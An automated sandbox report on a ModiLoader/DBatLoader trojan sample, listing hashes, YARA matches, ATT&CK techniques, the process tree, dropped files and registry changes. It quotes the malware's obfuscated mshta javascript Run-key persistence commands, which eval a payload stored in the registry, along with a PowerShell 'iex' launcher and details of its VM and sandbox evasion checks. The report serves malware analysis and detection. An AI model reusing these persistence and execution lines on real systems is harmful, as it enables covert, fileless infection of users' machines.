modiloader | 6eae9c990dd5922fa274347955a186e7a3c596730163ccf48a95b0de8f590a00

Analysis

max time kernel
149s
max time network
150s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
13-05-2024 23:18

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General

Target

3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
Size

577KB
MD5

3cfc15aa83002db936bea5571d8ac8d3
SHA1

561d453b108b0b5f51e3259a81c12d59228680e8
SHA256

6eae9c990dd5922fa274347955a186e7a3c596730163ccf48a95b0de8f590a00
SHA512

9e838181170bbd1a1e6ef0de8b1d0ff76be59090e01fc68c0d205ae364b79d5c068cf6a8253d0a4f33c55e1f06973519cfbc3480df9bbdabd89d5c6a8e90a0c0
SSDEEP

12288:LeohY7kszv6ynzRtxvlX3UHZEylVVGYMvtTvxkgoz:LYTvnbcmyLV34rP8

Score

10^/10

modiloader evasion persistence trojan upx

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2456 2576 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2456	2576	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 55 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2756-17-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-32-0x00000000009E0000-0x0000000000AB4000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-35-0x00000000009E0000-0x0000000000AB4000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-36-0x00000000009E0000-0x0000000000AB4000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-33-0x00000000009E0000-0x0000000000AB4000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-31-0x00000000009E0000-0x0000000000AB4000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-29-0x00000000009E0000-0x0000000000AB4000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-28-0x00000000009E0000-0x0000000000AB4000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-27-0x00000000009E0000-0x0000000000AB4000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-16-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-12-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-9-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-8-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-7-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-41-0x00000000009E0000-0x0000000000AB4000-memory.dmp	modiloader_stage2
behavioral1/memory/2416-46-0x00000000061A0000-0x0000000006274000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-50-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-48-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-52-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-66-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-74-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-85-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-84-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-83-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-80-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-73-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-72-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-70-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-69-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-67-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-65-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-64-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-63-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-62-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-61-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-60-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1820-87-0x0000000000210000-0x000000000034E000-memory.dmp	modiloader_stage2
behavioral1/memory/1820-93-0x0000000000210000-0x000000000034E000-memory.dmp	modiloader_stage2
behavioral1/memory/1820-92-0x0000000000210000-0x000000000034E000-memory.dmp	modiloader_stage2
behavioral1/memory/1820-91-0x0000000000210000-0x000000000034E000-memory.dmp	modiloader_stage2
behavioral1/memory/1820-90-0x0000000000210000-0x000000000034E000-memory.dmp	modiloader_stage2
behavioral1/memory/1820-89-0x0000000000210000-0x000000000034E000-memory.dmp	modiloader_stage2
behavioral1/memory/1820-88-0x0000000000210000-0x000000000034E000-memory.dmp	modiloader_stage2
behavioral1/memory/1820-86-0x0000000000210000-0x000000000034E000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-59-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-58-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-57-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-56-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-71-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-55-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-54-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-53-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1768-68-0x0000000000180000-0x00000000002BE000-memory.dmp	modiloader_stage2
behavioral1/memory/2416-51-0x00000000061A0000-0x0000000006274000-memory.dmp	modiloader_stage2
behavioral1/memory/2756-127-0x00000000009E0000-0x0000000000AB4000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\tmp254D.tmp	acprotect

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

1768 regsvr32.exe
Drops startup file 1 IoCs

Processes:

regsvr32.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\54b061.lnk regsvr32.exe
Loads dropped DLL 1 IoCs

Processes:

3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe

pid process

2756 3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe

pid	process
1768	regsvr32.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\54b061.lnk	regsvr32.exe

pid	process
2756	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/2756-30-0x0000000072140000-0x000000007216E000-memory.dmp	upx
\Users\Admin\AppData\Local\Temp\tmp254D.tmp	upx
behavioral1/memory/2756-39-0x0000000072140000-0x000000007216E000-memory.dmp	upx
behavioral1/memory/2756-42-0x0000000072140000-0x000000007216E000-memory.dmp	upx
behavioral1/memory/2756-128-0x0000000072140000-0x000000007216E000-memory.dmp	upx

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:hBKr6h8DY=\"t4h62Xjd\";z3Z=new%20ActiveXObject(\"WScript.Shell\");hBP0oLL9Zo=\"W\";gB9gY=z3Z.RegRead(\"HKCU\\\\software\\\\jvvo\\\\xbawnqo\");FcE9vSim=\"09\";eval(gB9gY);Zt1APWTdC=\"3eZ\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\529d1c\\1bcd8a.lnk\""	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:m3Nwlra=\"7maYDyP4Ey\";b2S=new%20ActiveXObject(\"WScript.Shell\");oFV4Qw8WMY=\"elJGIDc\";Bo1TX=b2S.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\jvvo\\\\xbawnqo\");FP5bLHq=\"DqyoJNPC8z\";eval(Bo1TX);Aun8Ftah5=\"e7eNcti\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2128 set thread context of 2756	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
PID 2416 set thread context of 1768	2416	powershell.exe	regsvr32.exe
PID 1768 set thread context of 1820	1768	regsvr32.exe	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Modifies registry class 7 IoCs

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.cbe78f1\ = "ed42e7"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\ed42e7\shell\open\command\ = "mshta \"javascript:m2kpfRT=\"NcmqyREEdz\";u61d=new ActiveXObject(\"WScript.Shell\");AhOMw6AOk=\"TRMU10D\";Bq2JL=u61d.RegRead(\"HKCU\\\\software\\\\jvvo\\\\xbawnqo\");A7kXsVdgl5=\"nxDH1hd1J\";eval(Bq2JL);eezUES3R8=\"nH099Wh\";\""	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000_CLASSES\.cbe78f1	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exepowershell.exeregsvr32.exe

pid	process
2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
2416	powershell.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe
1768	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

2416 powershell.exe
1768 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2128 3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
Token: SeDebugPrivilege 2416 powershell.exe

pid	process
2416	powershell.exe
1768	regsvr32.exe

description	pid	process
Token: SeDebugPrivilege	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
Token: SeDebugPrivilege	2416	powershell.exe

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exemshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2128 wrote to memory of 2756	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
PID 2128 wrote to memory of 2756	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
PID 2128 wrote to memory of 2756	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
PID 2128 wrote to memory of 2756	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
PID 2128 wrote to memory of 2756	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
PID 2128 wrote to memory of 2756	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
PID 2128 wrote to memory of 2756	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
PID 2128 wrote to memory of 2756	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
PID 2128 wrote to memory of 2756	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
PID 2128 wrote to memory of 2756	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
PID 2128 wrote to memory of 2224	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	DllHost.exe
PID 2128 wrote to memory of 2756	2128	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe	3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
PID 2456 wrote to memory of 2416	2456	mshta.exe	powershell.exe
PID 2456 wrote to memory of 2416	2456	mshta.exe	powershell.exe
PID 2456 wrote to memory of 2416	2456	mshta.exe	powershell.exe
PID 2456 wrote to memory of 2416	2456	mshta.exe	powershell.exe
PID 2416 wrote to memory of 1768	2416	powershell.exe	regsvr32.exe
PID 2416 wrote to memory of 1768	2416	powershell.exe	regsvr32.exe
PID 2416 wrote to memory of 1768	2416	powershell.exe	regsvr32.exe
PID 2416 wrote to memory of 1768	2416	powershell.exe	regsvr32.exe
PID 2416 wrote to memory of 1768	2416	powershell.exe	regsvr32.exe
PID 2416 wrote to memory of 1768	2416	powershell.exe	regsvr32.exe
PID 2416 wrote to memory of 1768	2416	powershell.exe	regsvr32.exe
PID 2416 wrote to memory of 1768	2416	powershell.exe	regsvr32.exe
PID 1768 wrote to memory of 1820	1768	regsvr32.exe	regsvr32.exe
PID 1768 wrote to memory of 1820	1768	regsvr32.exe	regsvr32.exe
PID 1768 wrote to memory of 1820	1768	regsvr32.exe	regsvr32.exe
PID 1768 wrote to memory of 1820	1768	regsvr32.exe	regsvr32.exe
PID 1768 wrote to memory of 1820	1768	regsvr32.exe	regsvr32.exe
PID 1768 wrote to memory of 1820	1768	regsvr32.exe	regsvr32.exe
PID 1768 wrote to memory of 1820	1768	regsvr32.exe	regsvr32.exe
PID 1768 wrote to memory of 1820	1768	regsvr32.exe	regsvr32.exe

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2224

C:\Users\Admin\AppData\Local\Temp\3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2128

C:\Users\Admin\AppData\Local\Temp\3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3cfc15aa83002db936bea5571d8ac8d3_JaffaCakes118.exe"
2⤵
- Loads dropped DLL
PID:2756

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:DAJep5M="ZmuX";J04j=new%20ActiveXObject("WScript.Shell");VCpXniq4t="r0SEPVle0";fyV7H=J04j.RegRead("HKLM\\software\\Wow6432Node\\TcYW8GUh\\NCCs6wKT");yKKA9Bqu="wtBp";eval(fyV7H);exCko0Z7="w7AnP87yi";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2456

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:nypamj
2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2416

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Drops startup file
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1768

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1820

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Modify Registry

T1112

Credential Access

Discovery

Software Discovery

T1518

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

File and Directory Discovery

T1083

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\529d1c\1bcd8a.lnk
Filesize
881B

MD5
e6da94f10279e79e6044846dd1345e2a

SHA1
492936cfb30f811e58e790100fe2569f1df871af

SHA256
69520bfa4b3dd730c671ff777e6eefd3e7c5792dc7051a4106337ec322e0b568

SHA512
a52dc39ae9a183450bb6078cb17642fcbe82aa70516c35c1ced24b7e354f82c85b8d91c1a56eb5827dcfc38162dc28905e47953b9e2d84c477150073520d2e19

Download Submit
C:\Users\Admin\AppData\Local\529d1c\4bd7f2.bat
Filesize
61B

MD5
7f145f9c460ee7bb55a3e7ad72a65f86

SHA1
39a73f2119c72ae27a166fff9ceb13859f6ac21b

SHA256
16e3704ce7a5f142fe817cd42cf9fd214341caf20a284c439457feb84515ddad

SHA512
1bfbf2931d904ae08d6552267b918e8f7e6cce6d142f0c950c74e2e601dc3cf36428fcddf67ad3cae1acb565edf4871c0c3c165be88c34d3c81b68b8d7c1a75f

Download Submit
C:\Users\Admin\AppData\Local\529d1c\7fd902.cbe78f1
Filesize
2KB

MD5
2a26106173dbcbec4f36123178366a58

SHA1
004d7b7df5172ee0ede52d729078be0e13a2ec1d

SHA256
c8537910d354c098a69d3178294c95b4ff4601ba0c16de535efdf0c320d49fac

SHA512
0ad245aeda232fc825c34c546d97a2328b981a243b4f50fc983da861cf21ba2ca779866f33728a1c0a1a569a2b613cef53515fb7e7ea09014e958e85b38dff4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\432fggqdd.txt
Filesize
4B

MD5
9a11883317fde3aef2e2432a58c86779

SHA1
4e5ea1100d2cbc3e7efb7833cbdf52a8fe43d424

SHA256
9087bff4ee5a4c50553a8a9096963d8d75dea9601fee74de289bbf21bcc25608

SHA512
a1083c7e5561186d043d54e8adfb4114362921d53c9f46854e801d40a0795361391a9addf845e58e0d51736a4db52b5e6d5a74b4d20143b94253a0ff10f29feb

Download Submit
C:\Users\Admin\AppData\Local\Temp\4fggqdd.txt
Filesize
84B

MD5
737f1ca084a1b4c1e174688875f16fea

SHA1
9b7d9624918e1d23a90e80db2faf72baaf83842e

SHA256
9f0a4c16dbc7ce1059294493bacd17dd7f46d43dcc7e1d048ab897b30ab7e767

SHA512
63b234ac96613c1a0c761d67163667d2f5b33f52d1dec6fcc378c3e0e0a3776c45d95e42e9b4a5e3fefe8effa9a6bd3c7db1dd868acf8bb77678a99d05532d0e

Download Submit
C:\Users\Admin\AppData\Roaming\4f4be6\d3bc4d.cbe78f1
Filesize
34KB

MD5
4f339de891617ca7fd5f343acb3047b0

SHA1
aba161156bee65c076565dfe64e7add641f7fc03

SHA256
94bf0de0a936426537fe2085cce3a2b2c9f29fbe63b6d80b3e62408d1a92b2a6

SHA512
a81b37093cc0bb0fc27a38bd22651ca1d0be9dcbc7a62cfaaf53693d631a31cd96681a04ad35bf0c410d85c120a6b04fdfdb0c0de195fdff181ba6acfbd27a00

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\54b061.lnk
Filesize
991B

MD5
ec2f040d72658371b46614544de478bc

SHA1
30f723e8c1e01b005617b528f1f3de14c8b44dd2

SHA256
330a01b3569961ab7be01761f93818b4ed69fb0f70a343bcaff6a779110f86bf

SHA512
0b04af2755fbfdb764377842c8d6b3aea3f8acec8c6b4d3f4008d2baae0445725cf759f2dd7d722e78cff4db2b19ce2a9afa0b33f5ee7cbfabbf65ec8e08238e

Download Submit
\Users\Admin\AppData\Local\Temp\tmp254D.tmp
Filesize
66KB

MD5
aaa698721f488b181bc0f0afc5da126a

SHA1
76536a73f16ffd643ea24f8725cebfff9d49852f

SHA256
e71ba7ce01d10e60a4feac7fc5e04f34756ba621c7d88583d0f96bd3b2655647

SHA512
67d8b05678fbdc1678515c341fa8c1e26f3d1b15f2cc390bb9b1a26589a346fd57697dd3366e72d46ab265570929f1be89b8aec81112a2a98194c5886c89261d

Download Submit
memory/1768-60-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-65-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-71-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-56-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-57-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-58-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-54-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-53-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-68-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-59-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-83-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-61-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-62-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-63-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-64-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-55-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-67-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-69-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-70-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-72-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-73-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-80-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-50-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
memory/1768-48-0x0000000000180000-0x00000000002BE000-memory.dmp

Filesize
1.2MB

Download
